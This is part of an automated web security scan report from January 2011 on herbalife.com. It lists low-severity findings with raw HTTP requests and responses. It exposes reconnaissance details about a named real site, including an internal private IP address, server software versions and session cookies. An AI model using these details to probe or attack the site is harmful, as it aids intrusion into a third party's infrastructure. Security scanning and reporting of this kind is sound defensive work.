ETag: "DPt6752hFfLJ/ySNPaIdSFAqEzs="
Vary: *
Content-Type: text/html; charset=utf-8
Content-Length: 43701


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>
   Herbalife -
...[SNIP]...
<a href="mailto:privacy@herbalife.com" class="grn">privacy@herbalife.com</a>
...[SNIP]...
<a href="mailto:privacy@herbalife.com" class="grn">privacy@herbalife.com</a>
...[SNIP]...

4.3. http://www.herbalife.com/sms-help  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.herbalife.com
Path:   /sms-help

Issue detail

The following email address was disclosed in the response:

Request

GET /sms-help HTTP/1.1
Host: www.herbalife.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s_cc=true; ev5=null%3A%20%27; forwardLocale=http://www.herbalife.com/; s_vi=[CS]v1|2690EDE6051D32A1-4000012A00129F22[CE]; s_sq=%5B%5BB%5D%5D; gpv_p11=HL%3ANA%3AUS%3ASearch; ASP.NET_SessionId=3oqdz3axdrblkc55ngn4va45;

Response

HTTP/1.1 200 OK
Date: Mon, 03 Jan 2011 14:23:09 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Last-Modified: Mon, 03 Jan 2011 02:02:52 GMT
ETag: "CC71W8Q/PzKYFvnJwQ6Jsy4VdLc="
Vary: *
Content-Type: text/html; charset=utf-8
Content-Length: 15368


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>
   Herbalife -
...[SNIP]...
<a href="mailto:smshelp@Herbalife.com">smshelp@Herbalife.com</a>
...[SNIP]...

5. Private IP addresses disclosed  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.herbalife.com
Path:   /global

Issue detail

The following RFC 1918 IP address was disclosed in the response:

Issue background

RFC 1918 specifies ranges of IP addresses that are reserved for use in private networks and cannot be routed on the public Internet. Although various methods exist by which an attacker can determine the public IP addresses in use by an organisation, the private addresses used internally cannot usually be determined in the same ways.

Discovering the private addresses used within an organisation can help an attacker in carrying out network-layer attacks aiming to penetrate the organisation's internal infrastructure.

Issue remediation

There is not usually any good reason to disclose the internal IP addresses used within an organisation's infrastructure. If these are being returned in service banners or debug messages, then the relevant services should be configured to mask the private addresses. If they are being used to track back-end servers for load balancing purposes, then the addresses should be rewritten with innocuous identifiers from which an attacker cannot infer any useful information about the infrastructure.

Request

GET /global HTTP/1.1
Host: www.herbalife.com
Proxy-Connection: keep-alive
Referer: http://www.herbalife.com/
Cache-Control: max-age=0
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=3oqdz3axdrblkc55ngn4va45

Response

HTTP/1.1 200 OK
Date: Mon, 03 Jan 2011 14:22:04 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Pragma: no-cache
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Content-Type: text/html; charset=utf-8
Content-Length: 12237

<html><head><META http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>Herbalife International</title><!--ls:begin[stylesheet]--><link href="/Content/Global/iwov-resources/fixed-layout/
...[SNIP]...
<script type="text/javascript">var ccode='US';
var ipc='174.121.222.18';
var ipc1='';
var ipc2='10.150.201.6';</script>
...[SNIP]...

6. Multiple content types specified  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.herbalife.com
Path:   /contact-us

Issue detail

The response contains multiple Content-type statements which are incompatible with one another. The following statements were received:

Issue background

If a web response specifies multiple incompatible content types, then the browser will usually analyse the response and attempt to determine the actual MIME type of its content. This can have unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of multiple incompatible content type statements does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /contact-us HTTP/1.1
Host: www.herbalife.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s_cc=true; ev5=null%3A%20%27; forwardLocale=http://www.herbalife.com/; s_vi=[CS]v1|2690EDE6051D32A1-4000012A00129F22[CE]; s_sq=%5B%5BB%5D%5D; gpv_p11=HL%3ANA%3AUS%3ASearch; ASP.NET_SessionId=3oqdz3axdrblkc55ngn4va45;

Response

HTTP/1.1 200 OK
Date: Mon, 03 Jan 2011 14:23:07 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Last-Modified: Mon, 03 Jan 2011 02:02:52 GMT
ETag: "DPt6752hFfLJ/ySNPaIdSFAqEzs="
Vary: *
Content-Type: text/vnd.wap.wml; charset=utf-8
Content-Length: 30751


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>
   Herbalife -
...[SNIP]...
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<!--[if IE]>
...[SNIP]...

7. HTML does not specify charset  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.herbalife.com
Path:   /Content/en-us/html/Herbalife/business-opportunity/productleadgen_fragment-home.html

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.

Request

GET /Content/en-us/html/Herbalife/business-opportunity/productleadgen_fragment-home.html HTTP/1.1
Host: www.herbalife.com
Proxy-Connection: keep-alive
Referer: http://www.herbalife.com/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=3oqdz3axdrblkc55ngn4va45; s_vi=[CS]v1|2690EDE6051D32A1-4000012A00129F22[CE]; forwardLocale=http://www.herbalife.com/; s_cc=true; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Content-Length: 590
Content-Type: text/html
Content-Location: http://www.herbalife.com/Content/en-us/html/Herbalife/business-opportunity/productleadgen_fragment-home.html
Last-Modified: Thu, 18 Nov 2010 20:23:25 GMT
Accept-Ranges: bytes
ETag: "80dcd1735e87cb1:1622"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Mon, 03 Jan 2011 14:22:21 GMT

<html>

<head>
<link rel="stylesheet" href='/Content/Global/css/Global.css' type="text/css" media="all" />
<link rel="stylesheet" href='/Content/Global/css/template.css' />

<style type="text/cs
...[SNIP]...

Report generated by XSS.CX at Mon Jan 03 09:40:16 CST 2011.